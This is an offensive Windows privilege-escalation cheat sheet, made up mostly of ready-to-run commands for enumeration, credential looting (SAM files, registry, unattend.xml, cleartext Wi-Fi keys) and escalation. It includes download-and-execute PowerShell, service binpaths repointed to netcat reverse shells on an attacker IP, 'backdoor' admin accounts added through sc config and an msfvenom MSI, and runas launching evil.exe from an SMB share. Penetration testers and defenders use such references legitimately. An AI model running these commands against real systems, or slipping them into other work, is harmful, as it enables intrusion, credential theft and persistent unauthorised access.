# Windows - Privilege Escalation ## Summary * [Tools](#tools) * [Windows Version and Configuration](#windows-version-and-configuration) * [User Enumeration](#user-enumeration) * [Network Enumeration](#network-enumeration) * [EoP - Looting for passwords](#eop---looting-for-passwords) * [EoP - Processes Enumeration and Tasks](#eop---processes-enumeration-and-tasks) * [EoP - Incorrect permissions in services](#eop---incorrect-permissions-in-services) * [EoP - Windows Subsystem for Linux (WSL)](#eop---windows-subsystem-for-linux-wsl) * [EoP - Unquoted Service Paths](#eop---unquoted-service-paths) * [EoP - Kernel Exploitation](#eop---kernel-exploitation) * [EoP - AlwaysInstallElevated](#eop---alwaysinstallelevated) * [EoP - Insecure GUI apps](#eop---insecure-gui-apps) * [EoP - Runas](#eop---runas) ## Tools - [Watson - Watson is a (.NET 2.0 compliant) C# implementation of Sherlock](https://github.com/rasta-mouse/Watson) - [(Deprecated) Sherlock - PowerShell script to quickly find missing software patches for local privilege escalation vulnerabilities](https://github.com/rasta-mouse/Sherlock) - [BeRoot - Privilege Escalation Project - Windows / Linux / Mac](https://github.com/AlessandroZ/BeRoot) - [Windows-Exploit-Suggester](https://github.com/GDSSecurity/Windows-Exploit-Suggester) ```powershell ./windows-exploit-suggester.py --update ./windows-exploit-suggester.py --database 2014-06-06-mssb.xlsx --systeminfo win7sp1-systeminfo.txt ``` - [windows-privesc-check - Standalone Executable to Check for Simple Privilege Escalation Vectors on Windows Systems](https://github.com/pentestmonkey/windows-privesc-check) - [WindowsExploits - Windows exploits, mostly precompiled. Not being updated.](https://github.com/abatchy17/WindowsExploits) - [WindowsEnumv - A Powershell Privilege Escalation Enumeration Script.](https://github.com/absolomb/WindowsEnum) - [Powerless - Windows privilege escalation (enumeration) script designed with OSCP labs (legacy Windows) in mind](https://github.com/M4ximuss/Powerless) - [PowerSploit's PowerUp](https://github.com/PowerShellMafia/PowerSploit) ```powershell powershell -Version 2 -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1'); Invoke-AllChecks ``` ## Windows Version and Configuration ```powershell systeminfo | findstr /B /C:"OS Name" /C:"OS Version" ``` Extract patchs and updates ```powershell wmic qfe ``` Architecture ```powershell wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% ``` List all env variables ```powershell set Get-ChildItem Env: | ft Key,Value ``` List all drives ```powershell wmic logicaldisk get caption || fsutil fsinfo drives wmic logicaldisk get caption,description,providername Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root ``` ## User Enumeration Get current username ```powershell echo %USERNAME% || whoami $env:username ``` List user privilege ```powershell whoami /priv ``` List all users ```powershell net user net user Swissky whoami /all Get-LocalUser | ft Name,Enabled,LastLogon Get-ChildItem C:\Users -Force | select Name ``` List logon requirements; useable for bruteforcing ```powershell$env:usernadsc net accounts ``` Get details about a user (i.e. administrator, admin, current user) ```powershell net user administrator net user admin net user %USERNAME% ``` List all local groups ```powershell net localgroup Get-LocalGroup | ft Name ``` Get details about a group (i.e. administrators) ```powershell net localgroup administrators Get-LocalGroupMember Administrators | ft Name, PrincipalSource Get-LocalGroupMember Administrateurs | ft Name, PrincipalSource ``` ## Network Enumeration List all network interfaces, IP, and DNS. ```powershell ipconfig /all Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address Get-DnsClientServerAddress -AddressFamily IPv4 | ft ``` List current routing table ```powershell route print Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex ``` List the ARP table ```powershell arp -A Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State ``` List all current connections ```powershell netstat -ano ``` List firewall state and current configuration ```powershell netsh advfirewall firewall dump or netsh firewall show state netsh firewall show config ``` List firewall's blocked ports ```powershell $f=New-object -comObject HNetCfg.FwPolicy2;$f.rules | where {$_.action -eq "0"} | select name,applicationname,localports ``` List all network shares ```powershell net share ``` SNMP Configuration ```powershell reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s Get-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse ``` ## EoP - Looting for passwords ### SAM and SYSTEM files ```powershell %SYSTEMROOT%\repair\SAM %SYSTEMROOT%\System32\config\RegBack\SAM %SYSTEMROOT%\System32\config\SAM %SYSTEMROOT%\repair\system %SYSTEMROOT%\System32\config\SYSTEM %SYSTEMROOT%\System32\config\RegBack\system ``` ### Search for file contents ```powershell cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt findstr /si password *.xml *.ini *.txt *.config findstr /spin "password" *.* ``` ### Search for a file with a certain filename ```powershell dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config* where /R C:\ user.txt where /R C:\ *.ini ``` ### Search the registry for key names and passwords ```powershell REG QUERY HKLM /F "password" /t REG_SZ /S /K REG QUERY HKCU /F "password" /t REG_SZ /S /K reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" # Windows Autologin reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr "DefaultUserName DefaultDomainName DefaultPassword" reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP" # SNMP parameters reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" # Putty clear text proxy credentials reg query "HKCU\Software\ORL\WinVNC3\Password" # VNC credentials reg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4 /v password reg query HKLM /f password /t REG_SZ /s reg query HKCU /f password /t REG_SZ /s ``` ### Read a value of a certain sub key ```powershell REG QUERY "HKLM\Software\Microsoft\FTH" /V RuleList ``` ### Passwords in unattend.xml Location of the unattend.xml files ```powershell C:\unattend.xml C:\Windows\Panther\Unattend.xml C:\Windows\Panther\Unattend\Unattend.xml C:\Windows\system32\sysprep.inf C:\Windows\system32\sysprep\sysprep.xml ``` Example content ```powershell *SENSITIVE*DATA*DELETED* true Administrateur *SENSITIVE*DATA*DELETED* administrators;users Administrateur ``` The Metasploit module `post/windows/gather/enum_unattend` looks for these files. ### IIS Web config ```powershell Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue ``` ```powershell C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config C:\inetpub\wwwroot\web.config ``` ### Other files ```bat %SYSTEMDRIVE%\pagefile.sys %WINDIR%\debug\NetSetup.log %WINDIR%\repair\sam %WINDIR%\repair\system %WINDIR%\repair\software, %WINDIR%\repair\security %WINDIR%\iis6.log %WINDIR%\system32\config\AppEvent.Evt %WINDIR%\system32\config\SecEvent.Evt %WINDIR%\system32\config\default.sav %WINDIR%\system32\config\security.sav %WINDIR%\system32\config\software.sav %WINDIR%\system32\config\system.sav %WINDIR%\system32\CCM\logs\*.log %USERPROFILE%\ntuser.dat %USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat %WINDIR%\System32\drivers\etc\hosts dir c:*vnc.ini /s /b dir c:*ultravnc.ini /s /b ``` ### Wifi passwords Find AP SSID ```bat netsh wlan show profile ``` Get Cleartext Pass ```bat netsh wlan show profile key=clear ``` Oneliner method to extract wifi passwords from all the access point. ```batch cls & echo. & for /f "tokens=4 delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name=%a key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on ``` ## EoP - Processes Enumeration and Tasks What processes are running? ```powershell tasklist /v net start sc query Get-Service Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize ``` Which processes are running as "system" ```powershell tasklist /v /fi "username eq system" ``` Do you have powershell magic? ```powershell REG QUERY "HKLM\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine" /v PowerShellVersion ``` List installed programs ```powershell Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name ``` List services ```powershell net start wmic service list brief tasklist /SVC ``` Scheduled tasks ```powershell schtasks /query /fo LIST 2>nul | findstr TaskName Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State ``` Startup tasks ```powershell wmic startup get caption,command reg query HKLM\Software\Microsoft\Windows\CurrentVersion\R reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce dir "C:\Documents and Settings\All Users\Start Menu\Programs\Startup" dir "C:\Documents and Settings\%username%\Start Menu\Programs\Startup" ``` ## EoP - Incorrect permissions in services > A service running as Administrator/SYSTEM with incorrect file permissions might allow EoP. You can replace the binary, restart the service and get system. Often, services are pointing to writeable locations: - Orphaned installs, not installed anymore but still exist in startup - DLL Hijacking - PATH directories with weak permissions ```powershell $ for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> c:\windows\temp\permissions.txt $ for /f eol^=^"^ delims^=^" %a in (c:\windows\temp\permissions.txt) do cmd.exe /c icacls "%a" $ sc query state=all | findstr "SERVICE_NAME:" >> Servicenames.txt FOR /F %i in (Servicenames.txt) DO echo %i type Servicenames.txt FOR /F "tokens=2 delims= " %i in (Servicenames.txt) DO @echo %i >> services.txt FOR /F %i in (services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> path.txt ``` Alternatively you can use the Metasploit exploit : `exploit/windows/local/service_permissions` Note to check file permissions you can use `cacls` and `icacls` > icacls (Windows Vista +) > cacls (Windows XP) You are looking for `BUILTIN\Users:(F)`(Full access), `BUILTIN\Users:(M)`(Modify access) or `BUILTIN\Users:(W)`(Write-only access) in the output. ### Example with Windows XP SP1 ```powershell $ sc config upnphost binpath="C:\Inetpub\wwwroot\nc.exe YOUR_IP 1234 -e C:\WINDOWS\System32\cmd.exe" sc config upnphost obj=".\LocalSystem" password="" sc qc upnphost ``` If it fails because of a missing dependency, try the following commands. ```powershell sc config SSDPSRV start=auto net start SSDPSRV net stop upnphost net start upnphost sc config upnphost depend="" ``` Using [`accesschk`](https://web.archive.org/web/20080530012252/http://live.sysinternals.com/accesschk.exe) from Sysinternals. ```powershell $ accesschk.exe -uwcqv "Authenticated Users" * /accepteula RW SSDPSRV SERVICE_ALL_ACCESS RW upnphost SERVICE_ALL_ACCESS $ accesschk.exe -ucqv upnphost upnphost RW NT AUTHORITY\SYSTEM SERVICE_ALL_ACCESS RW BUILTIN\Administrators SERVICE_ALL_ACCESS RW NT AUTHORITY\Authenticated Users SERVICE_ALL_ACCESS RW BUILTIN\Power Users SERVICE_ALL_ACCESS $ sc config binpath="net user backdoor backdoor123 /add" $ sc config binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe" $ sc stop $ sc start $ sc config binpath="net localgroup Administrators backdoor /add" $ sc stop $ sc start ``` ## EoP - Windows Subsystem for Linux (WSL) Technique borrowed from [Warlockobama's tweet](https://twitter.com/Warlockobama/status/1067890915753132032) > With root privileges Windows Subsystem for Linux (WSL) allows users to create a bind shell on any port (no elevation needed). Don't know the root password? No problem just set the default user to root W/ .exe --default-user root. Now start your bind shell or reverse. ```powershell wsl whoami ./ubuntun1604.exe config --default-user root wsl whoami wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE' ``` Binary `bash.exe` can also be found in `C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe` Alternatively you can explore the `WSL` filesystem in the folder `C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\` ## EoP - Unquoted Service Paths The Microsoft Windows Unquoted Service Path Enumeration Vulnerability. All Windows services have a Path to its executable. If that path is unquoted and contains whitespace or other separators, then the service will attempt to access a resource in the parent path first. ```powershell wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """ gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name ``` Metasploit provides the exploit : `exploit/windows/local/trusted_service_path` ### Example For `C:\Program Files\something\legit.exe`, Windows will try the following paths first: - `C:\Program.exe` - `C:\Program Files.exe` ## EoP - Kernel Exploitation List of exploits kernel : [https://github.com/SecWiki/windows-kernel-exploits](https://github.com/SecWiki/windows-kernel-exploits) ##### #Security Bulletin   #KB     #Description    #Operating System - [MS17-017](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS17-017) 　[KB4013081]　　[GDI Palette Objects Local Privilege Escalation]　　(windows 7/8) - [CVE-2017-8464](https://github.com/SecWiki/windows-kernel-exploits/tree/master/CVE-2017-8464) 　[LNK Remote Code Execution Vulnerability]　　(windows 10/8.1/7/2016/2010/2008) - [CVE-2017-0213](https://github.com/SecWiki/windows-kernel-exploits/tree/master/CVE-2017-0213) 　[Windows COM Elevation of Privilege Vulnerability]　　(windows 10/8.1/7/2016/2010/2008) - [CVE-2018-0833](https://github.com/SecWiki/windows-kernel-exploits/tree/master/CVE-2018-0833) [SMBv3 Null Pointer Dereference Denial of Service] (Windows 8.1/Server 2012 R2) - [CVE-2018-8120](https://github.com/SecWiki/windows-kernel-exploits/tree/master/CVE-2018-8120) [Win32k Elevation of Privilege Vulnerability] (Windows 7 SP1/2008 SP2,2008 R2 SP1) - [MS17-010](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS17-010) 　[KB4013389]　　[Windows Kernel Mode Drivers]　　(windows 7/2008/2003/XP) - [MS16-135](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-135) 　[KB3199135]　　[Windows Kernel Mode Drivers]　　(2016) - [MS16-111](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-111) 　[KB3186973]　　[kernel api]　　(Windows 10 10586 (32/64)/8.1) - [MS16-098](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-098) 　[KB3178466]　　[Kernel Driver]　　(Win 8.1) - [MS16-075](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-075) 　[KB3164038]　　[Hot Potato]　　(2003/2008/7/8/2012) - [MS16-034](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-034) 　[KB3143145]　　[Kernel Driver]　　(2008/7/8/10/2012) - [MS16-032](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-032) 　[KB3143141]　　[Secondary Logon Handle]　　(2008/7/8/10/2012) - [MS16-016](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-016) 　[KB3136041]　　[WebDAV]　　(2008/Vista/7) - [MS16-014](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-014) 　[K3134228]　　[remote code execution]　　(2008/Vista/7) ... - [MS03-026](./MS03-026) 　[KB823980]　　 [Buffer Overrun In RPC Interface]　　(/NT/2000/XP/2003) To cross compile a program from Kali, use the following command. ```powershell Kali> i586-mingw32msvc-gcc -o adduser.exe useradd.c ``` ## EoP - AlwaysInstallElevated Check if these registry values are set to "1". ```bat $ reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated $ reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated ``` Then create an MSI package and install it. ```powershell $ msfvenom -p windows/adduser USER=backdoor PASS=backdoor123 -f msi -o evil.msi $ msiexec /quiet /qn /i C:\evil.msi ``` Technique also available in Metasploit : `exploit/windows/local/always_install_elevated` ## EoP - Insecure GUI apps Application running as SYSTEM allowing an user to spawn a CMD, or browse directories. Example: "Windows Help and Support" (Windows + F1), search for "command prompt", click on "Click to open Command Prompt" ## EoP - Runas Use the `cmdkey` to list the stored credentials on the machine. ```powershell cmdkey /list Currently stored credentials: Target: Domain:interactive=WORKGROUP\Administrator Type: Domain Password User: WORKGROUP\Administrator ``` Then you can use `runas` with the `/savecred` options in order to use the saved credentials. The following example is calling a remote binary via an SMB share. ```powershell runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe" ``` Using `runas` with a provided set of credential. ```powershell C:\Windows\System32\runas.exe /env /noprofile /user: "c:\users\Public\nc.exe -nc 4444 -e cmd.exe" ``` ```powershell $ secpasswd = ConvertTo-SecureString "" -AsPlainText -Force $ mycreds = New-Object System.Management.Automation.PSCredential ("", $secpasswd) $ computer = "" [System.Diagnostics.Process]::Start("C:\users\public\nc.exe"," 4444 -e cmd.exe", $mycreds.Username, $mycreds.Password, $computer) ``` ## References * [Windows Internals Book - 02/07/2017](https://docs.microsoft.com/en-us/sysinternals/learn/windows-internals) * [icacls - Docs Microsoft](https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/icacls) * [Privilege Escalation Windows - Philip Linghammar](https://xapax.gitbooks.io/security/content/privilege_escalation_windows.html) * [Windows elevation of privileges - Guifre Ruiz](https://guif.re/windowseop) * [The Open Source Windows Privilege Escalation Cheat Sheet by amAK.xyz and @xxByte](https://addaxsoft.com/wpecs/) * [Basic Linux Privilege Escalation](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/) * [Windows Privilege Escalation Fundamentals](http://www.fuzzysecurity.com/tutorials/16.html) * [TOP–10 ways to boost your privileges in Windows systems - hackmag](https://hackmag.com/security/elevating-privileges-to-administrative-and-further/) * [The SYSTEM Challenge](https://decoder.cloud/2017/02/21/the-system-challenge/) * [Windows Privilege Escalation Guide - absolomb's security blog](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/) * [Chapter 4 - Windows Post-Exploitation - 2 Nov 2017 - dostoevskylabs](https://github.com/dostoevskylabs/dostoevsky-pentest-notes/blob/master/chapter-4.md) * [Remediation for Microsoft Windows Unquoted Service Path Enumeration Vulnerability - September 18th, 2016 - Robert Russell](https://www.tecklyfe.com/remediation-microsoft-windows-unquoted-service-path-enumeration-vulnerability/) * [Pentestlab.blog - WPE-01 - Stored Credentials](https://pentestlab.blog/2017/04/19/stored-credentials/) * [Pentestlab.blog - WPE-02 - Windows Kernel](https://pentestlab.blog/2017/04/24/windows-kernel-exploits/) * [Pentestlab.blog - WPE-03 - DLL Injection](https://pentestlab.blog/2017/04/04/dll-injection/) * [Pentestlab.blog - WPE-04 - Weak Service Permissions](https://pentestlab.blog/2017/03/30/weak-service-permissions/) * [Pentestlab.blog - WPE-05 - DLL Hijacking](https://pentestlab.blog/2017/03/27/dll-hijacking/) * [Pentestlab.blog - WPE-06 - Hot Potato](https://pentestlab.blog/2017/04/13/hot-potato/) * [Pentestlab.blog - WPE-07 - Group Policy Preferences](https://pentestlab.blog/2017/03/20/group-policy-preferences/) * [Pentestlab.blog - WPE-08 - Unquoted Service Path](https://pentestlab.blog/2017/03/09/unquoted-service-path/) * [Pentestlab.blog - WPE-09 - Always Install Elevated](https://pentestlab.blog/2017/02/28/always-install-elevated/) * [Pentestlab.blog - WPE-10 - Token Manipulation](https://pentestlab.blog/2017/04/03/token-manipulation/) * [Pentestlab.blog - WPE-11 - Secondary Logon Handle](https://pentestlab.blog/2017/04/07/secondary-logon-handle/) * [Pentestlab.blog - WPE-12 - Insecure Registry Permissions](https://pentestlab.blog/2017/03/31/insecure-registry-permissions/) * [Pentestlab.blog - WPE-13 - Intel SYSRET](https://pentestlab.blog/2017/06/14/intel-sysret/) * [Alternative methods of becoming SYSTEM - 20th November 2017 - Adam Chester @_xpn_](https://blog.xpnsec.com/becoming-system/)